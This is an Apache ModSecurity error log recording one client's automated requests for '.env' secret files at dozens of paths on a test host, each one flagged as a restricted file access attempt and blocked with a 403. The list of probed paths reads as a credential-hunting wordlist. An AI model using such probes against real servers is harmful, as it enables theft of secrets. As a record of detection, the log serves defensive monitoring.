[Thu Feb 26 01:03:01.780497 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhnAAAAAE&quot;]
[Thu Feb 26 01:03:01.780646 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhnAAAAAE&quot;]
[Thu Feb 26 01:03:01.812545 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhnQAAAAE&quot;]
[Thu Feb 26 01:03:01.812776 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhnQAAAAE&quot;]
[Thu Feb 26 01:03:01.812939 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhnQAAAAE&quot;]
[Thu Feb 26 01:03:01.830656 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyygAAAAA&quot;]
[Thu Feb 26 01:03:01.830872 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyygAAAAA&quot;]
[Thu Feb 26 01:03:01.831013 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyygAAAAA&quot;]
[Thu Feb 26 01:03:01.838837 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhngAAAAE&quot;]
[Thu Feb 26 01:03:01.839059 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhngAAAAE&quot;]
[Thu Feb 26 01:03:01.839229 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhngAAAAE&quot;]
[Thu Feb 26 01:03:01.883491 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/examples/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhnwAAAAE&quot;]
[Thu Feb 26 01:03:01.883708 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhnwAAAAE&quot;]
[Thu Feb 26 01:03:01.883855 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhnwAAAAE&quot;]
[Thu Feb 26 01:03:01.889941 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyywAAAAA&quot;]
[Thu Feb 26 01:03:01.890159 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyywAAAAA&quot;]
[Thu Feb 26 01:03:01.890311 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyywAAAAA&quot;]
[Thu Feb 26 01:03:01.905394 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/postgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhoAAAAAE&quot;]
[Thu Feb 26 01:03:01.905621 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhoAAAAAE&quot;]
[Thu Feb 26 01:03:01.905790 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhoAAAAAE&quot;]
[Thu Feb 26 01:03:01.929539 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-elk/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyzAAAAAA&quot;]
[Thu Feb 26 01:03:01.929769 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyzAAAAAA&quot;]
[Thu Feb 26 01:03:01.929929 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyzAAAAAA&quot;]
[Thu Feb 26 01:03:01.947771 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/webdav/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhoQAAAAE&quot;]
[Thu Feb 26 01:03:01.947995 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhoQAAAAE&quot;]
[Thu Feb 26 01:03:01.948147 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhoQAAAAE&quot;]
[Thu Feb 26 01:03:01.954200 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-network-healthcheck/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyzQAAAAA&quot;]
[Thu Feb 26 01:03:01.954459 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyzQAAAAA&quot;]
[Thu Feb 26 01:03:01.954988 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyzQAAAAA&quot;]
[Thu Feb 26 01:03:01.980461 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhogAAAAE&quot;]
[Thu Feb 26 01:03:01.980679 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhogAAAAE&quot;]
[Thu Feb 26 01:03:01.980827 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhogAAAAE&quot;]
[Thu Feb 26 01:03:02.001630 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-node-mongo-redis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyzgAAAAA&quot;]
